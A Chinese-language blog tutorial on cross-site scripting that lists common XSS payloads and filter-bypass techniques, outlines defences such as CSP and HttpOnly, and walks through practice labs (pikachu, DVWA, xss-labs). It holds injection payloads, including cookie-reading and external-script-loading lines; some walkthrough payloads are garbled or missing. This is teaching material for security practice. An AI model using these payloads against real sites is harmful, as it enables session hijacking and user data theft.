OWASP 之跨站脚本xss基础技能

OWASP 之跨站脚本xss基础技能

  • 一.XSS概述
  • 二.漏洞危害
  • 三.XSS漏洞绕过方法
    • 1.手工测试XSS步骤
    • 2.常见xss
    • 3.绕过方法
  • 四.xss防御方法
    • a.CSP内容安全策略
    • b.HttpOnly
    • c.输入输出检查
    • d.使用防御函数
  • 五.pikachu靶场
    • 1.反射型XSS(get)
    • 2.反射型XSS(post)
    • 3.存储型XSS
    • 4.DOM型XSS
    • 5.DOM型XSS-X
    • 6.xss盲打
    • 7.xss之过滤
    • 8.xss之htmlspecialchars
    • 9.xss之href输出
    • 10.xss之js输出
  • 六.DVWA靶场
    • 1.LOW
      • (1)xss(Reflected反射型)
      • (2)xss(Dom)
      • (3)xss(Stored存储型)
    • 2.Midium
      • (1)xss(Reflected反射型)
      • (2)xss(Dom)
      • (3)xss(Stored存储型)
    • 3.High
      • (1)xss(Reflected反射型)
      • (2)xss(Dom)
      • (3)xss(Stored存储型)
  • 七.xss-labs靶场
    • 1.LV1
    • 2.LV2
    • 3.LV3
    • 4.LV4
    • 5.LV5
    • 6.LV6
    • 7.LV7
    • 8.LV8
    • 9.LV9
    • 10.LV10

一.XSS概述

XSS中文叫做跨站脚本攻击(Cross-site scripting),本名应该缩写为CSS,但是由于CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(js)来完成恶意的攻击行为。
是一种经常出现在web应用中的计算机大全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?
XSS是指恶意攻击者利用网站对用户提交的数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。从而盗取用户资料、利用用户身份进行某种动作或者访问者进行病毒侵害的一种攻击方式。
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

二.漏洞危害

植入键盘记录器。
攻击受害者所在的局域网。
代理转发流经被攻击者的所有 Web 流量,即实施中间人攻击。
窃取或篡改应用 cookie 用于会话劫持。
更改被攻击者 Web 应用的显示内容。
绕过 CSRF 安全防护措施。
创建包含恶意 JavaScript 代码的虚假网站以及到该网站页面的链接。
发送嵌入恶意 Web URL 的电子邮件。
使用 URL 短码隐蔽真实 URL。

三.XSS漏洞绕过方法

1.手工测试XSS步骤

1、找到测试点(搜索框、留言板)
2、根据测试流程首先实验一些特殊符号的输入。发现可以正常输出,说明后台并没有进行相关的过滤。
例子:’<>?"&/6666
3、如果有过滤则进行相关的绕过

2.常见xss

<input onclick=alert(360)>
<input onfocus="alert('xss');">
<input onblur=alert("xss") autofocus><input autofocus>

<script>alert(1)</script>#最普通的xss
<script>alert(document.cookie)</script> #获取cookie
<script src='http://baidu.com/xss.js'></script>   # 外部攻击代码
<img src=x onerror=alert(/xss/)> #加载图形失败执行
<iframe onload=alert('xss')> #框架
<svg onload=alert(1)>
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />
<body onload=alert(1)>
<style onload=alert(1)></style>
<input onmouseover=alert(1)> (简单防绕过)	

3.绕过方法

</script><script>alert(1)</script>
<ScRiPt>alert(1)</ScRiPt> 大小写绕过	
onfocus=javascript:alert('xss')	//事件绕过  		
<sc<script>ript>alert(/xss/)</script> 双写绕过	
oonnfocus=javascripscriptt:alert('xss')双写绕过
" oonnfocus=javascriscriptpt:alert('xss')>引号闭合+>双写绕过  	
``反引号绕过(绕过单双引号的过滤)
"> <script>alert(1)</script>关闭标签(利用<>关闭标签)          
<a href="javascript:alert('xss')">xss</a> #a链接的xss,E7.0|IE6.0,才能执行		
<img src=1 onerror=alert(1)> 图片链接绕过	
">:alert('xss')">xss关闭标签链接绕过
"><ScRiPt>alert(1)</ScRiPt> 大小写加关闭标签绕过

四.xss防御方法

a.CSP内容安全策略

CSP指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。简单来说,就是我们能够规定,我们的网站只接受我们指定的请求资源。
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

b.HttpOnly

HtpOnly是Cokioe的一个安全属性, 设置后则可以在xSS漏洞发生时避免Jsese读取到Cookie,但即使设置了HtpOnly属性,也仍有方法获取到Cokie值。如:
CVE-2012-0053、PHPINFO页面/、Flash/Java API

c.输入输出检查

常见的Web漏洞如XSS、SQL Injection等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

d.使用防御函数

trim() 	//函数从字符串的两端删除空白字符和其他预定义字符
stripslashes() 	//删除反斜杠
substr_replace(st1,st2,n) //str1 为原始字符串,str2为替换的字符串,n代表替换位置,第n位之后替换
addslashes() 		//在预定义字符之前添加反斜杠的字符串
strip_tags() 		//剥去字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars()//把预定义的字符转换为 HTML 实体

五.pikachu靶场

1.反射型XSS(get)

反射型也称为非持久型,这种类型的脚本是最常见的,也是使用最为广泛的一种,主要用于将恶意的脚本附加到URL地址的参数中。
OWASP 之跨站脚本xss基础技能_第1张图片

F12找到源码位置
OWASP 之跨站脚本xss基础技能_第2张图片

发现可以直接修改maxlength,将其改大点输入payload
payload:

<script>alert('xss')</script><script>alert(document.cookie);</script>

效果:
OWASP 之跨站脚本xss基础技能_第3张图片

2.反射型XSS(post)

OWASP 之跨站脚本xss基础技能_第4张图片

输入用户名密码admin 123456
OWASP 之跨站脚本xss基础技能_第5张图片

使用提交
OWASP 之跨站脚本xss基础技能_第6张图片

弹出对话框说明注入成功,成功获取cookie

3.存储型XSS

攻击者将已经构造完成的恶意页面发送给用户,用户访问看似正常的页面后收到攻击,这类XSS通常无法直接在URL中看到恶意代码,具有较强的持久性和隐蔽性。
OWASP 之跨站脚本xss基础技能_第7张图片

输入payload提交:
OWASP 之跨站脚本xss基础技能_第8张图片

会弹出对话框,同时保存一条信息到留言列表
OWASP 之跨站脚本xss基础技能_第9张图片

再次输入任意留言都会自动弹框
OWASP 之跨站脚本xss基础技能_第10张图片

说明成功注入
OWASP 之跨站脚本xss基础技能_第11张图片

此外在页面切换,然后再次切换回来,发现弹窗依然存在,说明我们输入的语句已经被存储起来。
这就是存储性与反射性永久性和一次性的区别,会永久的存储在数据库中。

4.DOM型XSS

什么时DOM
简单来说DOM文档就是一份XML文档,当有了DOM标准之后,DOM便将前端html代码化为一个树状结构,方便程序和脚本能够轻松的动态访问和更新这个树状结构的内容、结构以及样式,且不需要经过服务端,所以DOM型xss在js前端自己就可以完成数据的输入输出,不与服务器产生交互,这样来说DOM型xss也可以理解为反射性xss。

尝试输入123,F12定位代码what do you see?
OWASP 之跨站脚本xss基础技能_第12张图片

然后输入

'>')">或
' onclick="alert('xss')">

OWASP 之跨站脚本xss基础技能_第13张图片

构造之后的完成语句:
’ >what do you see?
说明完成闭合οnclick=" alert(’ xss’ )" >>what do you see?是另一个语句了
'>what do you see?
点击它会出现弹框,说明注入成功
OWASP 之跨站脚本xss基础技能_第14张图片

5.DOM型XSS-X

OWASP 之跨站脚本xss基础技能_第15张图片

可以看出仍然使用了字符串拼接
此处我们同样输入payload:

'>')">或
' onclick="alert('xss')">

构造闭合
注入后要点击两次才能看到弹框
在这里插入图片描述

OWASP 之跨站脚本xss基础技能_第16张图片

6.xss盲打

XSS盲打:它不是一种XSS漏洞的类型,它其实是一种XSS一种的攻击场景。
payload:
OWASP 之跨站脚本xss基础技能_第17张图片

提交后转到提示给出的网址
OWASP 之跨站脚本xss基础技能_第18张图片

登录后发现被注入了,说明攻击成功

OWASP 之跨站脚本xss基础技能_第19张图片

7.xss之过滤

显然做了过滤,需要想办法绕过,让其输出不一样的语句
OWASP 之跨站脚本xss基础技能_第20张图片

payload:使用大小写绕过:
OWASP 之跨站脚本xss基础技能_第21张图片

或者

></SCRIPT>>><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

OWASP 之跨站脚本xss基础技能_第22张图片

其中88,83,83是xss的ascii编码

8.xss之htmlspecialchars

**htmlspecialchars() 函数:**把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体,把 < 和 > 转换为实体常用于防止浏览器将其用作 HTML 元素。
该函数默认不过滤单引号,只有设置才可以过滤单引号;
OWASP 之跨站脚本xss基础技能_第23张图片

payload:'onclick='alert("xss")'
输入后点击弹框
OWASP 之跨站脚本xss基础技能_第24张图片

而其他的输入点击都会跳到如下界面,可见引号起到了闭合的作用
onclick用法:按钮文本
或链接
OWASP 之跨站脚本xss基础技能_第25张图片
OWASP 之跨站脚本xss基础技能_第26张图片

9.xss之href输出

OWASP 之跨站脚本xss基础技能_第27张图片

绕js:payload:javascript:alert(“xss”)
OWASP 之跨站脚本xss基础技能_第28张图片

10.xss之js输出

OWASP 之跨站脚本xss基础技能_第29张图片
OWASP 之跨站脚本xss基础技能_第30张图片

由于这里将输入都动态转成了javascript,因此先将script闭合可以实现注入
payload:

六.DVWA靶场

1.LOW

在这里插入图片描述

(1)xss(Reflected反射型)

OWASP 之跨站脚本xss基础技能_第31张图片

没有过滤,Hello后面直接加payload
payload:
OWASP 之跨站脚本xss基础技能_第32张图片

(2)xss(Dom)

由于是get表单提交方式:在url后面直接追加payload:
OWASP 之跨站脚本xss基础技能_第33张图片

(3)xss(Stored存储型)

也是没有过滤:在message输入payload
payload:
OWASP 之跨站脚本xss基础技能_第34张图片
OWASP 之跨站脚本xss基础技能_第35张图片

2.Midium

在这里插入图片描述

(1)xss(Reflected反射型)

发现把script去掉了
OWASP 之跨站脚本xss基础技能_第36张图片

使用双写绕过:ript>alert(/xss/)
OWASP 之跨站脚本xss基础技能_第37张图片

或大小写绕过:
OWASP 之跨站脚本xss基础技能_第38张图片

(2)xss(Dom)

直接追加payload的方法行不通了,应该是script被过滤了
OWASP 之跨站脚本xss基础技能_第39张图片
OWASP 之跨站脚本xss基础技能_第40张图片

针对此处做构造,首先闭合option,然后闭合select
图片链接绕过payload:
(或使用超链接标签绕过也行)
OWASP 之跨站脚本xss基础技能_第41张图片

(3)xss(Stored存储型)

这个也是一样,script被去掉了,而且引号被转义了
OWASP 之跨站脚本xss基础技能_第42张图片

发现所有方法都不行,改变方向使用name做为注入点,首先修改长度
OWASP 之跨站脚本xss基础技能_第43张图片

Name处输入payload:
OWASP 之跨站脚本xss基础技能_第44张图片

3.High

在这里插入图片描述

(1)xss(Reflected反射型)

发现所有的绕过方法都没用
使用图片链接绕过:
OWASP 之跨站脚本xss基础技能_第45张图片

(2)xss(Dom)

#

回车刷新下页面,
#代表网页中的一个位置。其右面的字符,就是该位置的标识符。比如,http://www.example.com/index.html#print就代表网页index.html的print位置。浏览器读取这个URL后,会自动将print位置滚动至可视区域。起到跳转的作用
OWASP 之跨站脚本xss基础技能_第46张图片

(3)xss(Stored存储型)

七.xss-labs靶场

1.LV1

看不到输入栏,只能在url拼接payload

<script>alert(1)</script>

OWASP 之跨站脚本xss基础技能_第47张图片

2.LV2

关闭标签绕过payload:”>
OWASP 之跨站脚本xss基础技能_第48张图片

3.LV3

可选payload:

' οnmοuseοver='alert(/xss/)
' οnclick='alert(/xss/)

OWASP 之跨站脚本xss基础技能_第49张图片

4.LV4

发现<>都被去掉了,怎么办
OWASP 之跨站脚本xss基础技能_第50张图片

这是对上一题的升级了,单引号换成了双引号

" οnmοuseοver="alert(/xss/) 

OWASP 之跨站脚本xss基础技能_第51张图片
OWASP 之跨站脚本xss基础技能_第52张图片

5.LV5

什么情况左边的script多了一个_,完全不知道怎么继续下去了

OWASP 之跨站脚本xss基础技能_第53张图片

可以发现script和onclick都被过滤了
构造一个新的链接:">xss,点击xss
OWASP 之跨站脚本xss基础技能_第54张图片

6.LV6

大小写加关闭标签绕过:">
OWASP 之跨站脚本xss基础技能_第55张图片

7.LV7

使用双写绕过:oonnfocus=javascripscriptt:alert('xss')
使用引号闭合+>双写绕过" oonnfocus=javascriscriptpt:alert('xss')>
OWASP 之跨站脚本xss基础技能_第56张图片
OWASP 之跨站脚本xss基础技能_第57张图片

8.LV8

所有的方法都不行,考虑用编码绕过,先将里的javascript:alert(‘xss’)转成unicode编码
javascript:alert(‘xss’)
否则的话javascript会变成javascr_ipt
OWASP 之跨站脚本xss基础技能_第58张图片

9.LV9

输入javascript:alert('xss')链接也被过滤了
OWASP 之跨站脚本xss基础技能_第59张图片

输入:javascript:alert('xss')'http://www.baidu.com'
OWASP 之跨站脚本xss基础技能_第60张图片

和之前一样javascript被过滤了,编码试下
javascript:alert('xss')//http://www.baidu.com
OWASP 之跨站脚本xss基础技能_第61张图片

10.LV10

通过观察三个隐藏标签得知需要给t_sort赋值才不报错

&t_sort=" type="text" οnclick="alert('xss')

OWASP 之跨站脚本xss基础技能_第62张图片
OWASP 之跨站脚本xss基础技能_第63张图片
免责声明:
本文为作者个人观点,不代表本平台或任何其他机构的立场和观点。本文所包含的任何信息、观点和建议仅供参考和信息交流,读者应自行判断其适用性。
本文所涉及的任何产品、服务、企业、机构、网站或其他信息均为作者个人观点,不构成任何形式的推荐或背书。作者不对因读者根据本文内容采取的任何行动负责,也不承担任何责任。
本文的内容并不保证完全准确、全面或最新,且可能存在错误或遗漏。读者在参考本文内容时应自行进行验证和核实。任何因读者根据本文内容采取的任何行动造成的损失或损害,作者概不负责。
本文的版权归作者所有,未经作者许可,任何人不得擅自转载、复制或用于商业用途。如需转载或引用,请注明出处并联系作者。
最后,作者保留随时修改本文内容和免责声明的权利。请读者在使用本文内容时注意查看最新版本的免责声明。

你可能感兴趣的:(javascript,前端,开发语言)